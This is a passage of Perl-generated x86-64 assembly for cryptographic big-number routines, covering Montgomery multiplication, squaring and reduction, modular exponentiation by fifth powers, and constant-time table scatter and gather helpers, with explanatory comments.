mov 8(%rsp),$num # load -num
movq %xmm0,%rdx # bp[1]
adc $zero,%r15 # modulo-scheduled
lea ($aptr,$num),$aptr # rewind $aptr
add %r15,%r14
mov 8+8(%rsp),$bptr # re-load &b[i]
adc $zero,$zero # top-most carry
mov %r14,-1*8($tptr)
jmp .Lmulx4x_outer
.align 32
.Lmulx4x_outer:
mov $zero,($tptr) # save top-most carry
lea 4*8($tptr,$num),$tptr # rewind $tptr
mulx 0*8($aptr),$mi,%r11 # a[0]*b[i]
xor $zero,$zero # cf=0, of=0
mov %rdx,$bi
mulx 1*8($aptr),%r14,%r12 # a[1]*b[i]
adox -4*8($tptr),$mi # +t[0]
adcx %r14,%r11
mulx 2*8($aptr),%r15,%r13 # ...
adox -3*8($tptr),%r11
adcx %r15,%r12
mulx 3*8($aptr),%rdx,%r14
adox -2*8($tptr),%r12
adcx %rdx,%r13
lea ($nptr,$num,2),$nptr # rewind $nptr
lea 4*8($aptr),$aptr
adox -1*8($tptr),%r13
adcx $zero,%r14
adox $zero,%r14
.byte 0x67
mov $mi,%r15
imulq 32+8(%rsp),$mi # "t[0]"*n0
movq `0*$STRIDE/4-96`($bptr),%xmm0
.byte 0x67,0x67
mov $mi,%rdx
movq `1*$STRIDE/4-96`($bptr),%xmm1
.byte 0x67
pand %xmm4,%xmm0
movq `2*$STRIDE/4-96`($bptr),%xmm2
.byte 0x67
pand %xmm5,%xmm1
movq `3*$STRIDE/4-96`($bptr),%xmm3
add \$$STRIDE,$bptr # next &b[i]
.byte 0x67
pand %xmm6,%xmm2
por %xmm1,%xmm0
pand %xmm7,%xmm3
xor $zero,$zero # cf=0, of=0
mov $bptr,8+8(%rsp) # off-load &b[i]
mulx 0*16($nptr),%rax,%r10
adcx %rax,%r15 # discarded
adox %r11,%r10
mulx 1*16($nptr),%rax,%r11
adcx %rax,%r10
adox %r12,%r11
mulx 2*16($nptr),%rax,%r12
adcx %rax,%r11
adox %r13,%r12
mulx 3*16($nptr),%rax,%r15
mov $bi,%rdx
por %xmm2,%xmm0
mov 24+8(%rsp),$bptr # counter value
mov %r10,-8*4($tptr)
por %xmm3,%xmm0
adcx %rax,%r12
mov %r11,-8*3($tptr)
adox $zero,%r15 # of=0
mov %r12,-8*2($tptr)
lea 4*16($nptr),$nptr
jmp .Lmulx4x_inner
.align 32
.Lmulx4x_inner:
mulx 0*8($aptr),%r10,%rax # a[4]*b[i]
adcx $zero,%r15 # cf=0, modulo-scheduled
adox %r14,%r10
mulx 1*8($aptr),%r11,%r14 # a[5]*b[i]
adcx 0*8($tptr),%r10
adox %rax,%r11
mulx 2*8($aptr),%r12,%rax # ...
adcx 1*8($tptr),%r11
adox %r14,%r12
mulx 3*8($aptr),%r13,%r14
mov $mi,%rdx
adcx 2*8($tptr),%r12
adox %rax,%r13
adcx 3*8($tptr),%r13
adox $zero,%r14 # of=0
lea 4*8($aptr),$aptr
lea 4*8($tptr),$tptr
adcx $zero,%r14 # cf=0
adox %r15,%r10
mulx 0*16($nptr),%rax,%r15
adcx %rax,%r10
adox %r15,%r11
mulx 1*16($nptr),%rax,%r15
adcx %rax,%r11
adox %r15,%r12
mulx 2*16($nptr),%rax,%r15
mov %r10,-5*8($tptr)
adcx %rax,%r12
adox %r15,%r13
mov %r11,-4*8($tptr)
mulx 3*16($nptr),%rax,%r15
mov $bi,%rdx
lea 4*16($nptr),$nptr
mov %r12,-3*8($tptr)
adcx %rax,%r13
adox $zero,%r15
mov %r13,-2*8($tptr)
dec $bptr # of=0, pass cf
jnz .Lmulx4x_inner
mov 0+8(%rsp),$num # load -num
movq %xmm0,%rdx # bp[i+1]
adc $zero,%r15 # modulo-scheduled
sub 0*8($tptr),$bptr # pull top-most carry to %cf
mov 8+8(%rsp),$bptr # re-load &b[i]
mov 16+8(%rsp),%r10
adc %r15,%r14
lea ($aptr,$num),$aptr # rewind $aptr
adc $zero,$zero # top-most carry
mov %r14,-1*8($tptr)
cmp %r10,$bptr
jb .Lmulx4x_outer
mov -16($nptr),%r10
xor %r15,%r15
sub %r14,%r10 # compare top-most words
adc %r15,%r15
or %r15,$zero
xor \$1,$zero
lea ($tptr,$num),%rdi # rewind $tptr
lea ($nptr,$num,2),$nptr # rewind $nptr
.byte 0x67,0x67
sar \$3+2,$num # cf=0
lea ($nptr,$zero,8),%rbp
mov 56+8(%rsp),%rdx # restore rp
mov $num,%rcx
jmp .Lsqrx4x_sub # common post-condition
.size mulx4x_internal,.-mulx4x_internal
___
}{
######################################################################
# void bn_power5(
my $rptr="%rdi"; # BN_ULONG *rptr,
my $aptr="%rsi"; # const BN_ULONG *aptr,
my $bptr="%rdx"; # const void *table,
my $nptr="%rcx"; # const BN_ULONG *nptr,
my $n0 ="%r8"; # const BN_ULONG *n0);
my $num ="%r9"; # int num, has to be divisible by 8
# int pwr);
my ($i,$j,$tptr)=("%rbp","%rcx",$rptr);
my @A0=("%r10","%r11");
my @A1=("%r12","%r13");
my ($a0,$a1,$ai)=("%r14","%r15","%rbx");
$code.=<<___;
.type bn_powerx5,\@function,6
.align 32
bn_powerx5:
.Lpowerx5_enter:
.byte 0x67
mov %rsp,%rax
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
___
$code.=<<___ if ($win64);
lea -0x28(%rsp),%rsp
movaps %xmm6,(%rsp)
movaps %xmm7,0x10(%rsp)
___
$code.=<<___;
.byte 0x67
mov ${num}d,%r10d
shl \$3,${num}d # convert $num to bytes
shl \$3+2,%r10d # 4*$num
neg $num
mov ($n0),$n0 # *n0
##############################################################
# ensure that stack frame doesn't alias with $aptr+4*$num
# modulo 4096, which covers ret[num], am[num] and n[2*num]
# (see bn_exp.c). this is done to allow memory disambiguation
# logic do its magic.
#
lea -64(%rsp,$num,2),%r11
sub $aptr,%r11
and \$4095,%r11
cmp %r11,%r10
jb .Lpwrx_sp_alt
sub %r11,%rsp # align with $aptr
lea -64(%rsp,$num,2),%rsp # alloca(frame+2*$num)
jmp .Lpwrx_sp_done
.align 32
.Lpwrx_sp_alt:
lea 4096-64(,$num,2),%r10 # 4096-frame-2*$num
lea -64(%rsp,$num,2),%rsp # alloca(frame+2*$num)
sub %r10,%r11
mov \$0,%r10
cmovc %r10,%r11
sub %r11,%rsp
.Lpwrx_sp_done:
and \$-64,%rsp
mov $num,%r10
neg $num
##############################################################
# Stack layout
#
# +0 saved $num, used in reduction section
# +8 &t[2*$num], used in reduction section
# +16 intermediate carry bit
# +24 top-most carry bit, used in reduction section
# +32 saved *n0
# +40 saved %rsp
# +48 t[2*$num]
#
pxor %xmm0,%xmm0
movq $rptr,%xmm1 # save $rptr
movq $nptr,%xmm2 # save $nptr
movq %r10, %xmm3 # -$num
movq $bptr,%xmm4
mov $n0, 32(%rsp)
mov %rax, 40(%rsp) # save original %rsp
.Lpowerx5_body:
call __bn_sqrx8x_internal
call __bn_sqrx8x_internal
call __bn_sqrx8x_internal
call __bn_sqrx8x_internal
call __bn_sqrx8x_internal
mov %r10,$num # -num
mov $aptr,$rptr
movq %xmm2,$nptr
movq %xmm4,$bptr
mov 40(%rsp),%rax
call mulx4x_internal
mov 40(%rsp),%rsi # restore %rsp
mov \$1,%rax
___
$code.=<<___ if ($win64);
movaps -88(%rsi),%xmm6
movaps -72(%rsi),%xmm7
___
$code.=<<___;
mov -48(%rsi),%r15
mov -40(%rsi),%r14
mov -32(%rsi),%r13
mov -24(%rsi),%r12
mov -16(%rsi),%rbp
mov -8(%rsi),%rbx
lea (%rsi),%rsp
.Lpowerx5_epilogue:
ret
.size bn_powerx5,.-bn_powerx5
.globl bn_sqrx8x_internal
.hidden bn_sqrx8x_internal
.type bn_sqrx8x_internal,\@abi-omnipotent
.align 32
bn_sqrx8x_internal:
__bn_sqrx8x_internal:
##################################################################
# Squaring part:
#
# a) multiply-n-add everything but a[i]*a[i];
# b) shift result of a) by 1 to the left and accumulate
# a[i]*a[i] products;
#
##################################################################
# a[7]a[7]a[6]a[6]a[5]a[5]a[4]a[4]a[3]a[3]a[2]a[2]a[1]a[1]a[0]a[0]
# a[1]a[0]
# a[2]a[0]
# a[3]a[0]
# a[2]a[1]
# a[3]a[1]
# a[3]a[2]
#
# a[4]a[0]
# a[5]a[0]
# a[6]a[0]
# a[7]a[0]
# a[4]a[1]
# a[5]a[1]
# a[6]a[1]
# a[7]a[1]
# a[4]a[2]
# a[5]a[2]
# a[6]a[2]
# a[7]a[2]
# a[4]a[3]
# a[5]a[3]
# a[6]a[3]
# a[7]a[3]
#
# a[5]a[4]
# a[6]a[4]
# a[7]a[4]
# a[6]a[5]
# a[7]a[5]
# a[7]a[6]
# a[7]a[7]a[6]a[6]a[5]a[5]a[4]a[4]a[3]a[3]a[2]a[2]a[1]a[1]a[0]a[0]
___
{
my ($zero,$carry)=("%rbp","%rcx");
my $aaptr=$zero;
$code.=<<___;
lea 48+8(%rsp),$tptr
lea ($aptr,$num),$aaptr
mov $num,0+8(%rsp) # save $num
mov $aaptr,8+8(%rsp) # save end of $aptr
jmp .Lsqr8x_zero_start
.align 32
.byte 0x66,0x66,0x66,0x2e,0x0f,0x1f,0x84,0x00,0x00,0x00,0x00,0x00
.Lsqrx8x_zero:
.byte 0x3e
movdqa %xmm0,0*8($tptr)
movdqa %xmm0,2*8($tptr)
movdqa %xmm0,4*8($tptr)
movdqa %xmm0,6*8($tptr)
.Lsqr8x_zero_start: # aligned at 32
movdqa %xmm0,8*8($tptr)
movdqa %xmm0,10*8($tptr)
movdqa %xmm0,12*8($tptr)
movdqa %xmm0,14*8($tptr)
lea 16*8($tptr),$tptr
sub \$64,$num
jnz .Lsqrx8x_zero
mov 0*8($aptr),%rdx # a[0], modulo-scheduled
#xor %r9,%r9 # t[1], ex-$num, zero already
xor %r10,%r10
xor %r11,%r11
xor %r12,%r12
xor %r13,%r13
xor %r14,%r14
xor %r15,%r15
lea 48+8(%rsp),$tptr
xor $zero,$zero # cf=0, cf=0
jmp .Lsqrx8x_outer_loop
.align 32
.Lsqrx8x_outer_loop:
mulx 1*8($aptr),%r8,%rax # a[1]*a[0]
adcx %r9,%r8 # a[1]*a[0]+=t[1]
adox %rax,%r10
mulx 2*8($aptr),%r9,%rax # a[2]*a[0]
adcx %r10,%r9
adox %rax,%r11
.byte 0xc4,0xe2,0xab,0xf6,0x86,0x18,0x00,0x00,0x00 # mulx 3*8($aptr),%r10,%rax # ...
adcx %r11,%r10
adox %rax,%r12
.byte 0xc4,0xe2,0xa3,0xf6,0x86,0x20,0x00,0x00,0x00 # mulx 4*8($aptr),%r11,%rax
adcx %r12,%r11
adox %rax,%r13
mulx 5*8($aptr),%r12,%rax
adcx %r13,%r12
adox %rax,%r14
mulx 6*8($aptr),%r13,%rax
adcx %r14,%r13
adox %r15,%rax
mulx 7*8($aptr),%r14,%r15
mov 1*8($aptr),%rdx # a[1]
adcx %rax,%r14
adox $zero,%r15
adc 8*8($tptr),%r15
mov %r8,1*8($tptr) # t[1]
mov %r9,2*8($tptr) # t[2]
sbb $carry,$carry # mov %cf,$carry
xor $zero,$zero # cf=0, of=0
mulx 2*8($aptr),%r8,%rbx # a[2]*a[1]
mulx 3*8($aptr),%r9,%rax # a[3]*a[1]
adcx %r10,%r8
adox %rbx,%r9
mulx 4*8($aptr),%r10,%rbx # ...
adcx %r11,%r9
adox %rax,%r10
.byte 0xc4,0xe2,0xa3,0xf6,0x86,0x28,0x00,0x00,0x00 # mulx 5*8($aptr),%r11,%rax
adcx %r12,%r10
adox %rbx,%r11
.byte 0xc4,0xe2,0x9b,0xf6,0x9e,0x30,0x00,0x00,0x00 # mulx 6*8($aptr),%r12,%rbx
adcx %r13,%r11
adox %r14,%r12
.byte 0xc4,0x62,0x93,0xf6,0xb6,0x38,0x00,0x00,0x00 # mulx 7*8($aptr),%r13,%r14
mov 2*8($aptr),%rdx # a[2]
adcx %rax,%r12
adox %rbx,%r13
adcx %r15,%r13
adox $zero,%r14 # of=0
adcx $zero,%r14 # cf=0
mov %r8,3*8($tptr) # t[3]
mov %r9,4*8($tptr) # t[4]
mulx 3*8($aptr),%r8,%rbx # a[3]*a[2]
mulx 4*8($aptr),%r9,%rax # a[4]*a[2]
adcx %r10,%r8
adox %rbx,%r9
mulx 5*8($aptr),%r10,%rbx # ...
adcx %r11,%r9
adox %rax,%r10
.byte 0xc4,0xe2,0xa3,0xf6,0x86,0x30,0x00,0x00,0x00 # mulx 6*8($aptr),%r11,%rax
adcx %r12,%r10
adox %r13,%r11
.byte 0xc4,0x62,0x9b,0xf6,0xae,0x38,0x00,0x00,0x00 # mulx 7*8($aptr),%r12,%r13
.byte 0x3e
mov 3*8($aptr),%rdx # a[3]
adcx %rbx,%r11
adox %rax,%r12
adcx %r14,%r12
mov %r8,5*8($tptr) # t[5]
mov %r9,6*8($tptr) # t[6]
mulx 4*8($aptr),%r8,%rax # a[4]*a[3]
adox $zero,%r13 # of=0
adcx $zero,%r13 # cf=0
mulx 5*8($aptr),%r9,%rbx # a[5]*a[3]
adcx %r10,%r8
adox %rax,%r9
mulx 6*8($aptr),%r10,%rax # ...
adcx %r11,%r9
adox %r12,%r10
mulx 7*8($aptr),%r11,%r12
mov 4*8($aptr),%rdx # a[4]
mov 5*8($aptr),%r14 # a[5]
adcx %rbx,%r10
adox %rax,%r11
mov 6*8($aptr),%r15 # a[6]
adcx %r13,%r11
adox $zero,%r12 # of=0
adcx $zero,%r12 # cf=0
mov %r8,7*8($tptr) # t[7]
mov %r9,8*8($tptr) # t[8]
mulx %r14,%r9,%rax # a[5]*a[4]
mov 7*8($aptr),%r8 # a[7]
adcx %r10,%r9
mulx %r15,%r10,%rbx # a[6]*a[4]
adox %rax,%r10
adcx %r11,%r10
mulx %r8,%r11,%rax # a[7]*a[4]
mov %r14,%rdx # a[5]
adox %rbx,%r11
adcx %r12,%r11
#adox $zero,%rax # of=0
adcx $zero,%rax # cf=0
mulx %r15,%r14,%rbx # a[6]*a[5]
mulx %r8,%r12,%r13 # a[7]*a[5]
mov %r15,%rdx # a[6]
lea 8*8($aptr),$aptr
adcx %r14,%r11
adox %rbx,%r12
adcx %rax,%r12
adox $zero,%r13
.byte 0x67,0x67
mulx %r8,%r8,%r14 # a[7]*a[6]
adcx %r8,%r13
adcx $zero,%r14
cmp 8+8(%rsp),$aptr
je .Lsqrx8x_outer_break
neg $carry # mov $carry,%cf
mov \$-8,%rcx
mov $zero,%r15
mov 8*8($tptr),%r8
adcx 9*8($tptr),%r9 # +=t[9]
adcx 10*8($tptr),%r10 # ...
adcx 11*8($tptr),%r11
adc 12*8($tptr),%r12
adc 13*8($tptr),%r13
adc 14*8($tptr),%r14
adc 15*8($tptr),%r15
lea ($aptr),$aaptr
lea 2*64($tptr),$tptr
sbb %rax,%rax # mov %cf,$carry
mov -64($aptr),%rdx # a[0]
mov %rax,16+8(%rsp) # offload $carry
mov $tptr,24+8(%rsp)
#lea 8*8($tptr),$tptr # see 2*8*8($tptr) above
xor %eax,%eax # cf=0, of=0
jmp .Lsqrx8x_loop
.align 32
.Lsqrx8x_loop:
mov %r8,%rbx
mulx 0*8($aaptr),%rax,%r8 # a[8]*a[i]
adcx %rax,%rbx # +=t[8]
adox %r9,%r8
mulx 1*8($aaptr),%rax,%r9 # ...
adcx %rax,%r8
adox %r10,%r9
mulx 2*8($aaptr),%rax,%r10
adcx %rax,%r9
adox %r11,%r10
mulx 3*8($aaptr),%rax,%r11
adcx %rax,%r10
adox %r12,%r11
.byte 0xc4,0x62,0xfb,0xf6,0xa5,0x20,0x00,0x00,0x00 # mulx 4*8($aaptr),%rax,%r12
adcx %rax,%r11
adox %r13,%r12
mulx 5*8($aaptr),%rax,%r13
adcx %rax,%r12
adox %r14,%r13
mulx 6*8($aaptr),%rax,%r14
mov %rbx,($tptr,%rcx,8) # store t[8+i]
mov \$0,%ebx
adcx %rax,%r13
adox %r15,%r14
.byte 0xc4,0x62,0xfb,0xf6,0xbd,0x38,0x00,0x00,0x00 # mulx 7*8($aaptr),%rax,%r15
mov 8($aptr,%rcx,8),%rdx # a[i]
adcx %rax,%r14
adox %rbx,%r15 # %rbx is 0, of=0
adcx %rbx,%r15 # cf=0
.byte 0x67
inc %rcx # of=0
jnz .Lsqrx8x_loop
lea 8*8($aaptr),$aaptr
mov \$-8,%rcx
cmp 8+8(%rsp),$aaptr # done?
je .Lsqrx8x_break
sub 16+8(%rsp),%rbx # mov 16(%rsp),%cf
.byte 0x66
mov -64($aptr),%rdx
adcx 0*8($tptr),%r8
adcx 1*8($tptr),%r9
adc 2*8($tptr),%r10
adc 3*8($tptr),%r11
adc 4*8($tptr),%r12
adc 5*8($tptr),%r13
adc 6*8($tptr),%r14
adc 7*8($tptr),%r15
lea 8*8($tptr),$tptr
.byte 0x67
sbb %rax,%rax # mov %cf,%rax
xor %ebx,%ebx # cf=0, of=0
mov %rax,16+8(%rsp) # offload carry
jmp .Lsqrx8x_loop
.align 32
.Lsqrx8x_break:
sub 16+8(%rsp),%r8 # consume last carry
mov 24+8(%rsp),$carry # initial $tptr, borrow $carry
mov 0*8($aptr),%rdx # a[8], modulo-scheduled
xor %ebp,%ebp # xor $zero,$zero
mov %r8,0*8($tptr)
cmp $carry,$tptr # cf=0, of=0
je .Lsqrx8x_outer_loop
mov %r9,1*8($tptr)
mov 1*8($carry),%r9
mov %r10,2*8($tptr)
mov 2*8($carry),%r10
mov %r11,3*8($tptr)
mov 3*8($carry),%r11
mov %r12,4*8($tptr)
mov 4*8($carry),%r12
mov %r13,5*8($tptr)
mov 5*8($carry),%r13
mov %r14,6*8($tptr)
mov 6*8($carry),%r14
mov %r15,7*8($tptr)
mov 7*8($carry),%r15
mov $carry,$tptr
jmp .Lsqrx8x_outer_loop
.align 32
.Lsqrx8x_outer_break:
mov %r9,9*8($tptr) # t[9]
movq %xmm3,%rcx # -$num
mov %r10,10*8($tptr) # ...
mov %r11,11*8($tptr)
mov %r12,12*8($tptr)
mov %r13,13*8($tptr)
mov %r14,14*8($tptr)
___
}{
my $i="%rcx";
$code.=<<___;
lea 48+8(%rsp),$tptr
mov ($aptr,$i),%rdx # a[0]
mov 8($tptr),$A0[1] # t[1]
xor $A0[0],$A0[0] # t[0], of=0, cf=0
mov 0+8(%rsp),$num # restore $num
adox $A0[1],$A0[1]
mov 16($tptr),$A1[0] # t[2] # prefetch
mov 24($tptr),$A1[1] # t[3] # prefetch
#jmp .Lsqrx4x_shift_n_add # happens to be aligned
.align 32
.Lsqrx4x_shift_n_add:
mulx %rdx,%rax,%rbx
adox $A1[0],$A1[0]
adcx $A0[0],%rax
.byte 0x48,0x8b,0x94,0x0e,0x08,0x00,0x00,0x00 # mov 8($aptr,$i),%rdx # a[i+1] # prefetch
.byte 0x4c,0x8b,0x97,0x20,0x00,0x00,0x00 # mov 32($tptr),$A0[0] # t[2*i+4] # prefetch
adox $A1[1],$A1[1]
adcx $A0[1],%rbx
mov 40($tptr),$A0[1] # t[2*i+4+1] # prefetch
mov %rax,0($tptr)
mov %rbx,8($tptr)
mulx %rdx,%rax,%rbx
adox $A0[0],$A0[0]
adcx $A1[0],%rax
mov 16($aptr,$i),%rdx # a[i+2] # prefetch
mov 48($tptr),$A1[0] # t[2*i+6] # prefetch
adox $A0[1],$A0[1]
adcx $A1[1],%rbx
mov 56($tptr),$A1[1] # t[2*i+6+1] # prefetch
mov %rax,16($tptr)
mov %rbx,24($tptr)
mulx %rdx,%rax,%rbx
adox $A1[0],$A1[0]
adcx $A0[0],%rax
mov 24($aptr,$i),%rdx # a[i+3] # prefetch
lea 32($i),$i
mov 64($tptr),$A0[0] # t[2*i+8] # prefetch
adox $A1[1],$A1[1]
adcx $A0[1],%rbx
mov 72($tptr),$A0[1] # t[2*i+8+1] # prefetch
mov %rax,32($tptr)
mov %rbx,40($tptr)
mulx %rdx,%rax,%rbx
adox $A0[0],$A0[0]
adcx $A1[0],%rax
jrcxz .Lsqrx4x_shift_n_add_break
.byte 0x48,0x8b,0x94,0x0e,0x00,0x00,0x00,0x00 # mov 0($aptr,$i),%rdx # a[i+4] # prefetch
adox $A0[1],$A0[1]
adcx $A1[1],%rbx
mov 80($tptr),$A1[0] # t[2*i+10] # prefetch
mov 88($tptr),$A1[1] # t[2*i+10+1] # prefetch
mov %rax,48($tptr)
mov %rbx,56($tptr)
lea 64($tptr),$tptr
nop
jmp .Lsqrx4x_shift_n_add
.align 32
.Lsqrx4x_shift_n_add_break:
adcx $A1[1],%rbx
mov %rax,48($tptr)
mov %rbx,56($tptr)
lea 64($tptr),$tptr # end of t[] buffer
___
}
######################################################################
# Montgomery reduction part, "word-by-word" algorithm.
#
# This new path is inspired by multiple submissions from Intel, by
# Shay Gueron, Vlad Krasnov, Erdinc Ozturk, James Guilford,
# Vinodh Gopal...
{
my ($nptr,$carry,$m0)=("%rbp","%rsi","%rdx");
$code.=<<___;
movq %xmm2,$nptr
sqrx8x_reduction:
xor %eax,%eax # initial top-most carry bit
mov 32+8(%rsp),%rbx # n0
mov 48+8(%rsp),%rdx # "%r8", 8*0($tptr)
lea -128($nptr,$num,2),%rcx # end of n[]
#lea 48+8(%rsp,$num,2),$tptr # end of t[] buffer
mov %rcx, 0+8(%rsp) # save end of n[]
mov $tptr,8+8(%rsp) # save end of t[]
lea 48+8(%rsp),$tptr # initial t[] window
jmp .Lsqrx8x_reduction_loop
.align 32
.Lsqrx8x_reduction_loop:
mov 8*1($tptr),%r9
mov 8*2($tptr),%r10
mov 8*3($tptr),%r11
mov 8*4($tptr),%r12
mov %rdx,%r8
imulq %rbx,%rdx # n0*a[i]
mov 8*5($tptr),%r13
mov 8*6($tptr),%r14
mov 8*7($tptr),%r15
mov %rax,24+8(%rsp) # store top-most carry bit
lea 8*8($tptr),$tptr
xor $carry,$carry # cf=0,of=0
mov \$-8,%rcx
jmp .Lsqrx8x_reduce
.align 32
.Lsqrx8x_reduce:
mov %r8, %rbx
mulx 16*0($nptr),%rax,%r8 # n[0]
adcx %rbx,%rax # discarded
adox %r9,%r8
mulx 16*1($nptr),%rbx,%r9 # n[1]
adcx %rbx,%r8
adox %r10,%r9
mulx 16*2($nptr),%rbx,%r10
adcx %rbx,%r9
adox %r11,%r10
mulx 16*3($nptr),%rbx,%r11
adcx %rbx,%r10
adox %r12,%r11
.byte 0xc4,0x62,0xe3,0xf6,0xa5,0x40,0x00,0x00,0x00 # mulx 16*4($nptr),%rbx,%r12
mov %rdx,%rax
mov %r8,%rdx
adcx %rbx,%r11
adox %r13,%r12
mulx 32+8(%rsp),%rbx,%rdx # %rdx discarded
mov %rax,%rdx
mov %rax,64+48+8(%rsp,%rcx,8) # put aside n0*a[i]
mulx 16*5($nptr),%rax,%r13
adcx %rax,%r12
adox %r14,%r13
mulx 16*6($nptr),%rax,%r14
adcx %rax,%r13
adox %r15,%r14
mulx 16*7($nptr),%rax,%r15
mov %rbx,%rdx
adcx %rax,%r14
adox $carry,%r15 # $carry is 0
adcx $carry,%r15 # cf=0
.byte 0x67,0x67,0x67
inc %rcx # of=0
jnz .Lsqrx8x_reduce
mov $carry,%rax # xor %rax,%rax
cmp 0+8(%rsp),$nptr # end of n[]?
jae .Lsqrx8x_no_tail
mov 48+8(%rsp),%rdx # pull n0*a[0]
add 8*0($tptr),%r8
lea 16*8($nptr),$nptr
mov \$-8,%rcx
adcx 8*1($tptr),%r9
adcx 8*2($tptr),%r10
adc 8*3($tptr),%r11
adc 8*4($tptr),%r12
adc 8*5($tptr),%r13
adc 8*6($tptr),%r14
adc 8*7($tptr),%r15
lea 8*8($tptr),$tptr
sbb %rax,%rax # top carry
xor $carry,$carry # of=0, cf=0
mov %rax,16+8(%rsp)
jmp .Lsqrx8x_tail
.align 32
.Lsqrx8x_tail:
mov %r8,%rbx
mulx 16*0($nptr),%rax,%r8
adcx %rax,%rbx
adox %r9,%r8
mulx 16*1($nptr),%rax,%r9
adcx %rax,%r8
adox %r10,%r9
mulx 16*2($nptr),%rax,%r10
adcx %rax,%r9
adox %r11,%r10
mulx 16*3($nptr),%rax,%r11
adcx %rax,%r10
adox %r12,%r11
.byte 0xc4,0x62,0xfb,0xf6,0xa5,0x40,0x00,0x00,0x00 # mulx 16*4($nptr),%rax,%r12
adcx %rax,%r11
adox %r13,%r12
mulx 16*5($nptr),%rax,%r13
adcx %rax,%r12
adox %r14,%r13
mulx 16*6($nptr),%rax,%r14
adcx %rax,%r13
adox %r15,%r14
mulx 16*7($nptr),%rax,%r15
mov 72+48+8(%rsp,%rcx,8),%rdx # pull n0*a[i]
adcx %rax,%r14
adox $carry,%r15
mov %rbx,($tptr,%rcx,8) # save result
mov %r8,%rbx
adcx $carry,%r15 # cf=0
inc %rcx # of=0
jnz .Lsqrx8x_tail
cmp 0+8(%rsp),$nptr # end of n[]?
jae .Lsqrx8x_tail_done # break out of loop
sub 16+8(%rsp),$carry # mov 16(%rsp),%cf
mov 48+8(%rsp),%rdx # pull n0*a[0]
lea 16*8($nptr),$nptr
adc 8*0($tptr),%r8
adc 8*1($tptr),%r9
adc 8*2($tptr),%r10
adc 8*3($tptr),%r11
adc 8*4($tptr),%r12
adc 8*5($tptr),%r13
adc 8*6($tptr),%r14
adc 8*7($tptr),%r15
lea 8*8($tptr),$tptr
sbb %rax,%rax
sub \$8,%rcx # mov \$-8,%rcx
xor $carry,$carry # of=0, cf=0
mov %rax,16+8(%rsp)
jmp .Lsqrx8x_tail
.align 32
.Lsqrx8x_tail_done:
add 24+8(%rsp),%r8 # can this overflow?
adc \$0,%r9
adc \$0,%r10
adc \$0,%r11
adc \$0,%r12
adc \$0,%r13
adc \$0,%r14
adc \$0,%r15 # can't overflow, because we
# started with "overhung" part
# of multiplication
mov $carry,%rax # xor %rax,%rax
sub 16+8(%rsp),$carry # mov 16(%rsp),%cf
.Lsqrx8x_no_tail: # %cf is 0 if jumped here
adc 8*0($tptr),%r8
movq %xmm3,%rcx
adc 8*1($tptr),%r9
mov 16*7($nptr),$carry
movq %xmm2,$nptr # restore $nptr
adc 8*2($tptr),%r10
adc 8*3($tptr),%r11
adc 8*4($tptr),%r12
adc 8*5($tptr),%r13
adc 8*6($tptr),%r14
adc 8*7($tptr),%r15
adc %rax,%rax # top-most carry
mov 32+8(%rsp),%rbx # n0
mov 8*8($tptr,%rcx),%rdx # modulo-scheduled "%r8"
mov %r8,8*0($tptr) # store top 512 bits
lea 8*8($tptr),%r8 # borrow %r8
mov %r9,8*1($tptr)
mov %r10,8*2($tptr)
mov %r11,8*3($tptr)
mov %r12,8*4($tptr)
mov %r13,8*5($tptr)
mov %r14,8*6($tptr)
mov %r15,8*7($tptr)
lea 8*8($tptr,%rcx),$tptr # start of current t[] window
cmp 8+8(%rsp),%r8 # end of t[]?
jb .Lsqrx8x_reduction_loop
___
}
##############################################################
# Post-condition, 4x unrolled
#
{
my ($rptr,$nptr)=("%rdx","%rbp");
my @ri=map("%r$_",(10..13));
my @ni=map("%r$_",(14..15));
$code.=<<___;
xor %ebx,%ebx
sub %r15,%rsi # compare top-most words
adc %rbx,%rbx
mov %rcx,%r10 # -$num
or %rbx,%rax
mov %rcx,%r9 # -$num
xor \$1,%rax
sar \$3+2,%rcx # cf=0
#lea 48+8(%rsp,%r9),$tptr
lea ($nptr,%rax,8),$nptr
movq %xmm1,$rptr # restore $rptr
movq %xmm1,$aptr # prepare for back-to-back call
jmp .Lsqrx4x_sub
.align 32
.Lsqrx4x_sub:
.byte 0x66
mov 8*0($tptr),%r12
mov 8*1($tptr),%r13
sbb 16*0($nptr),%r12
mov 8*2($tptr),%r14
sbb 16*1($nptr),%r13
mov 8*3($tptr),%r15
lea 8*4($tptr),$tptr
sbb 16*2($nptr),%r14
mov %r12,8*0($rptr)
sbb 16*3($nptr),%r15
lea 16*4($nptr),$nptr
mov %r13,8*1($rptr)
mov %r14,8*2($rptr)
mov %r15,8*3($rptr)
lea 8*4($rptr),$rptr
inc %rcx
jnz .Lsqrx4x_sub
___
}
$code.=<<___;
neg %r9 # restore $num
ret
.size bn_sqrx8x_internal,.-bn_sqrx8x_internal
___
}}}
{
my ($inp,$num,$tbl,$idx)=$win64?("%rcx","%edx","%r8", "%r9d") : # Win64 order
("%rdi","%esi","%rdx","%ecx"); # Unix order
my $out=$inp;
my $STRIDE=2**5*8;
my $N=$STRIDE/4;
$code.=<<___;
.globl bn_get_bits5
.type bn_get_bits5,\@abi-omnipotent
.align 16
bn_get_bits5:
lea 0($inp),%r10
lea 1($inp),%r11
mov $num,%ecx
shr \$4,$num
and \$15,%ecx
lea -8(%ecx),%eax
cmp \$11,%ecx
cmova %r11,%r10
cmova %eax,%ecx
movzw (%r10,$num,2),%eax
shrl %cl,%eax
and \$31,%eax
ret
.size bn_get_bits5,.-bn_get_bits5
.globl bn_scatter5
.type bn_scatter5,\@abi-omnipotent
.align 16
bn_scatter5:
cmp \$0, $num
jz .Lscatter_epilogue
lea ($tbl,$idx,8),$tbl
.Lscatter:
mov ($inp),%rax
lea 8($inp),$inp
mov %rax,($tbl)
lea 32*8($tbl),$tbl
sub \$1,$num
jnz .Lscatter
.Lscatter_epilogue:
ret
.size bn_scatter5,.-bn_scatter5
.globl bn_gather5
.type bn_gather5,\@abi-omnipotent
.align 16
bn_gather5:
___
$code.=<<___ if ($win64);
.LSEH_begin_bn_gather5:
# I can't trust assembler to use specific encoding:-(
.byte 0x48,0x83,0xec,0x28 #sub \$0x28,%rsp
.byte 0x0f,0x29,0x34,0x24 #movaps %xmm6,(%rsp)
.byte 0x0f,0x29,0x7c,0x24,0x10 #movdqa %xmm7,0x10(%rsp)
___
$code.=<<___;
mov $idx,%r11d
shr \$`log($N/8)/log(2)`,$idx
and \$`$N/8-1`,%r11
not $idx
lea .Lmagic_masks(%rip),%rax
